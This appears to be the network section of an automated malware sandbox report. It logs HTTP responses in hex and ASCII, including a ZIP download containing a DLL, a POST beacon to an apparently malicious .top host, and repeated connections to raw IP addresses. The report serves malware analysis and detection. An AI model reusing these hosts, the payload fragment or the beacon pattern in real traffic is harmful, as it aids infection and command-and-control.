Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:11:13 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:11:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 b1 ba 89 c7 a8 25 9f ae 04 75 64 62 d8 e6 b8 a1 54 5e 1b 80 2b d8 55 a8 c7 ea 87 23 6d 16 be 61 f6 31 6d 17 41 3e da 16 a3 c9 32 6e a0 14 dc ac 2f 7b b0 2d 61 47 b0 7a 0d de 75 8f f9 9f 56 11 36 05 4a f4 e2 d7 c0 07 43 c8 48 09 d2 74 94 82 bf 6c 13 d9 39 03 d5 18 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 8e ff 0e 43 d7 07 53 53 fa cb 1f 9e fd 09 51 2a ee 8c 8a 7b 7e 85 f6 ff 78 f3 56 db c4 0d 13 13 e3 0f e0 92 24 18 4f c5 03 71 ca a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 7a f0 96 be 21 51 61 9a d4 3e 7c 8a 28 c8 c9 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 a2 7a 31 6c 1a 7c 0a 8d 1b f9 e6 0e 10 eb 7e 71 eb 90 f0 1a 10 de 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 22 a6 0f 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 73 33 cd 46 99 48 15 ac af eb d9 55 3d af ba 68 92 de fe 9d 57 7c 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b a8 d4 de 8e 82 11 e8 e4 1f 9e a0 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 0f 75 8f b7 af 57 a3 af 5b 85 1f d4 8c 69 91 9c 61 06 f1 2c 9a af 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 ca e3 80 1e 00 18 50 6d 43 e4 56 89 8b e1 42 78 d7 9c 9e c3 e0 2b a5 b6 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b 23 e3 a2 aa 45 63 80 e3 1c b1 65 f5 52 48 d4 3f 96 4d 8d e7 17 3f fe e7 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:11:16 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:11:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 11 fc df 85 6e bb f6 c7 35 f3 73 07 03 d2 ff f9 da fb eb b2 b9 71 cd f5 34 33 d1 62 73 45 7c 1f 57 44 f3 08 b9 3c 50 15 51 fe 08 22 b1 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 62 91 54 5b fd 55 19 d0 ed 45 78 b1 17 20 58 4a ed 68 6a 3e 17 21 6b df a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 5c 6d 52 db 93 0d 13 13 bf 1e e9 92 28 0e 4f c5 03 a1 cb a1 61 7e de f5 69 77 1e 17 c6 4c af 9a a5 64 c1 a0 cd b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 4c 33 6c 21 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 e3 a0 f5 1a 20 9b 4a d8 19 ae cc 4f 3b 79 82 ae b2 e3 67 34 01 56 ad f3 d3 fb 2d b9 72 ce cc 23 b2 b7 09 31 79 90 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 81 43 4f 55 b7 69 b7 9f 3f cf cc 46 d9 48 1d ac af e3 d9 55 3d 6b bd 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 ac 44 06 f6 27 2c 18 f8 c7 9b 88 e7 3d 66 f1 aa 6c b1 1d 32 12 51 8c bc 10 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 1e 54 ab 1e 46 9d 16 ee c3 ce 57 a3 04 1d 85 1f d6 5c 6d 91 74 5d 01 f1 10 35 ae 03 58 e5 1f e4 ae 7d 10 99 80 e0 d9 b0 c1 1c 9e 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a 8f f6 6b e3 80 8a 49 37 03 80 e3 1c cd 20 f5 52 b7 3b 3a 96 f5 cb e7 17 3f dc e5 7e 0d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 98 3a 1d f8 4e b5 14 86 c1 70 a8 fe 04 c5 db ad 0e c9 9c 47 a2 91 29 98 f9 4c 79 de 79 d5 57 d0 6f fd ef 76 67 a8 db e9 d5 6a e2 3c 99 a8 84 be 57 a7 eb 6c 28 8e 94 16 a3 4e d4 e7 23 b2 52 dc 1a 9e 8b 18 07 64 01 7d 46 02 82 96 c6 ce 2d b2 9d df 3c 42 56 60 de 9e 93 0f 94 45 a9 24 4f 78 60 22 30 5f d6 a0 b8 78 fe b1 8e 98 37 20 5e 32 d0 c9 f3 32 42 82 39 16 12 47 0b f9 17 30 8d e3 51 22 b2 3d df 10 54 5a 17 1c 5c 5a 12 b3 19 5f 11 8f 69 f9 e4 b9 2a 01 6e f3 fd 58 b3 dc 95 25 1f 90 13 f7 5e 15 23 b5 01 92 e3 92 c2 01 7d 7e d3 95 bc 43 cf 76 62 93 55 e1 05 85 d4 9c 97 2e 60 10 3a 93 83 ac e5 fe 99 ae 32 c8 6e 95 8d 4a d5 f8 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 fb 37 67 d2 1f ad af a2 e2 54 24 d0 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 12:11:17 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=92Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 12:11:19 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:11:19 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 12:11:15 GMTContent-Type: application/octet-streamContent-Length: 2828315Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-2b281b"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 9a 7a 6e 4e 3c 09 f8 7b 72 d2 00 00 d0 69 01 00 0b 00 00 00 6e 73 73 64 62 6d 33 2e 64 6c 6c ec fd 7f 7c 14 d5 d5 38 00 cf ee 4e 92 0d 59 d8 05 36 18 24 4a 90 a0 d1 a0 06 16 24 31 80 d9 84 dd 44 20 b0 61 c9 2e 11 13 b4 6a 4c b7 56 f9 b1 43 b0 12 08 4e 02 3b 19 b7 f5 e9 a3 7d ec 2f ab f5 f1 e9 0f db a7 b6 b5 80 d5 ea 86 d8 24 f8 13 81 5a 2c 54 a3 52 bd 71 63 8d 92 86 45 63 e6 3d e7 dc 99 dd 0d da ef f7 fb be 7f bf f0 c9 ec cc dc 3b f7 9e 7b ee b9 e7 9e 73 ee b9 e7 d6 de 70 bf 60 11 04 41 84 3f 4d 13 84 83 02 ff 57 21 fc df ff e5 99 04 61 ca ec 3f 4e 11 9e ca 7e 65 ce 41 d3 ea 57 e6 ac 6f f9 fa b6 82 cd 5b ef ba 7d eb cd df 2c b8 e5 e6 3b ef bc 2b 5c f0 b5 db 0a b6 4a 77 16 7c fd ce 82 15 6b fd 05 df bc eb d6 db ae 9a 3c 79 52 a1 5e c6 45 07 6f 18 6e 78 73 d1 63 c6 9f ef d1 9f 3d 56 0f bf ed cf 2c fe e9 46 f8 ed bb fb cc 63 75 f4 bc e4 a7 1b e8 77 c1 4f fd f4 5b f2 d3 75 f0 7b cf d3 3c df 77 ff b8 f8 a7 37 50 19 8b 1f 7b 91 9e 4b 7e ea a6 df 45 f4 dd 77 ff f8 d2 63 fc f7 1a 7a 5e f7 f5 5b 5a b0 be 7f d7 36 9f 47 10 56 9b 32 84 e7 2b ba 6e 34 de 0d 08 97 cc c9 31 4d c9 11 2e 84 86 97 f0 77 7b 66 c3 bd 03 6e 4a 4c f8 e8 a0 7b b3 20 64 0a f4 9c fc 15 da 4d 84 e4 2b b6 98 20 b9 82 7f e4 10 84 d4 2f ff 29 b8 ce 24 58 21 b5 08 b2 f4 e3 cb 9b 4c c2 0e 4b 1a 60 ab 4d c2 91 8b e0 77 b3 49 f8 ef 4c 41 38 72 ad 49 58 ff 7f e8 a3 a2 72 d3 c4 be 04 38 37 98 ff 7d fe ab c2 b7 ed 08 c3 ef e9 3c bd 5d 17 72 b8 d3 ff 15 00 54 57 6d bd f5 e6 f0 cd 82 b0 62 36 2f 13 5f 0a 17 9b d2 b3 61 bd 15 57 f1 6c 42 02 db e0 33 11 6e 84 e5 5f ca 17 bb 6a eb b6 ad b7 08 02 6f eb 4d 7a 9d 15 5f 51 de d6 db ee b8 eb 16 81 da 8e 38 10 ac f0 bb e2 4b f9 2a 85 ff ff bf ff a7 7f f5 ea 90 bc ac c8 67 72 08 e1 4c b9 cd 2a 48 2e b5 d6 76 b6 fb 8b 84 36 5b 2a 92 bf e9 34 49 97 a8 dd 7b de 31 67 09 c2 3c 1c 02 3e 4d ca d3 24 47 9d 26 59 d9 8b d0 f7 f2 0b ce c6 1e 2d f7 a1 12 93 a3 4f 98 01 39 5c b1 c6 1e 2c 74 c8 e1 57 1b 6d ae 58 20 a8 b6 59 d5 33 ea 2a 87 e2 19 53 3c 23 7d 1e 22 85 3e cf 30 52 42 67 2c 9c 1d b2 6c 68 2e 73 8b e1 6f d8 0f b8 c5 e6 72 cf 70 38 13 ae 09 29 bf cf 33 82 1d 4b 0f 76 fb 01 93 eb 64 73 d9 8d 6e 33 14 2b 5d 07 8f f6 03 2b dc e3 ae c3 ed 6b 72 4d 75 01 5f 90 59 5c 82 a0 0e cb 2f 38 54 cf 18 96 0b af 06 26 0b 42 43 83 22 8d 75 8e da 3b be 0f 65 a9 6b 20 75 24 1e 81 cf 15 8f cd 7e 60 bd 7b 1c 21 ab 4d c8 09 f3 ae 5c 57 ac 59 a9 33 37 2b 6e 51 f5 5a 95 2a ab ea b1 c5 33 5c 47 15 bf 35 64 be a1 f8 90 5a 9f 68 56 4c cd ea 5a 1b 7c 6b 89 35 17 f7 ab 58 46 ac 59 1e cc 6c 56 56 57 9a d5 43 98 d8 7c bd fd 80 80 cf 62 fb aa 5c 93 5a 0f 95 87 6d 81 20 f3 03 30 f0 d4 d0 50 fe 46 38 7b 5d 90 55 11 70 da da 52 57 2c 6e 91 fb b5 4d 4d 1b d5 7f e8 c8 73 aa 1e c2 5f 40 b5 aa 3e 51 dd 08 20 8e a8

Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hdytesri.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 202Host: hajezey1.top

Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.177.141.36:443 -> 192.168.2.3:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.3:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.3:49893 version: TLS 1.2
